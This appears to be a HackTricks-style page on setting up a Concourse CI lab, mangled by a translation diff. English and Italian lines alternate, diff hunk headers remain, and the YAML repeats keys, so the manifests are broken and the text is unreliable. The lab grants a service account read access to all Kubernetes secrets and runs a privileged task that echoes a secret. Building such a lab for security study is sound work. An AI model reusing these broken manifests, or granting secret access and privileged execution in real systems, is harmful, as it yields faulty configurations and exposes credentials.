Questo file docker-compose semplifica l'installazione per eseguire alcuni test con concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
Puoi scaricare la riga di comando `fly` per il tuo sistema operativo dal web in `127.0.0.1:8080`
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
#### With Kubernetes (Recommended)
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
#### Con Kubernetes (Consigliato)
Puoi facilmente distribuire concourse in **Kubernetes** (in **minikube** ad esempio) utilizzando il helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
Dopo aver generato l'ambiente concourse, puoi generare un segreto e dare accesso al SA in esecuzione nel concourse web per accedere ai segreti K8s:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: read-secrets
name: read-secrets
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-secrets-concourse
name: read-secrets-concourse
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
subjects:
- kind: ServiceAccount
name: concourse-release-web
namespace: default
name: concourse-release-web
namespace: default
---
apiVersion: v1
kind: Secret
metadata:
name: super
namespace: concourse-release-main
name: super
namespace: concourse-release-main
type: Opaque
data:
secret: MWYyZDFlMmU2N2Rm
secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
### Crea Pipeline
### Create Pipeline
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
Un pipeline è composto da un elenco di [Jobs](https://concourse-ci.org/jobs.html) che contiene un elenco ordinato di [Steps](https://concourse-ci.org/steps.html).
### Steps
Several different type of steps can be used:
Possono essere utilizzati diversi tipi di passi:
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
- **il** [**`task` step**](https://concourse-ci.org/task-step.html) **esegue un** [**task**](https://concourse-ci.org/tasks.html)
- il [`get` step](https://concourse-ci.org/get-step.html) recupera una [resource](https://concourse-ci.org/resources.html)
- il [`put` step](https://concourse-ci.org/put-step.html) aggiorna una [resource](https://concourse-ci.org/resources.html)
- il [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html)
- il [`load_var` step](https://concourse-ci.org/load-var-step.html) carica un valore in una [local var](https://concourse-ci.org/vars.html#local-vars)
- il [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) esegue i passi in parallelo
- il [`do` step](https://concourse-ci.org/do-step.html) esegue i passi in sequenza
- il [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) esegue un passo più volte; una volta per ogni combinazione di valori delle variabili
- il [`try` step](https://concourse-ci.org/try-step.html) tenta di eseguire un passo e ha successo anche se il passo fallisce
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
Ogni [step](https://concourse-ci.org/steps.html) in un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) viene eseguito nel **proprio container**. Puoi eseguire qualsiasi cosa tu voglia all'interno del container _(cioè eseguire i miei test, eseguire questo script bash, costruire questa immagine, ecc.)_. Quindi, se hai un job con cinque passi, Concourse creerà cinque container, uno per ogni passo.
Therefore, it's possible to indicate the type of container each step needs to be run in.
### Simple Pipeline Example
Pertanto, è possibile indicare il tipo di container in cui ogni passo deve essere eseguito.
### Esempio di Pipeline Semplice
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
Controlla **127.0.0.1:8080** per vedere il flusso della pipeline.
Check **127.0.0.1:8080** to see the pipeline flow.
### Script Bash con pipeline di output/input
### Bash script with output/input pipeline
È possibile **salvare i risultati di un'attività in un file** e indicare che è un output e poi indicare l'input della successiva attività come l'output della precedente attività. Quello che fa concourse è **montare la directory della precedente attività nella nuova attività dove puoi accedere ai file creati dalla precedente attività**.
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
### Trigger
### Triggers
Non è necessario attivare manualmente i lavori ogni volta che devi eseguirli, puoi anche programmarli per essere eseguiti ogni volta:
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
- Passa del tempo: [Time resource](https://github.com/concourse/time-resource/)
- Su nuovi commit nel ramo principale: [Git resource](https://github.com/concourse/git-resource)
- Nuovi PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Recupera o invia l'ultima immagine della tua app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
Controlla un esempio di pipeline YAML che si attiva su nuovi commit nel master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}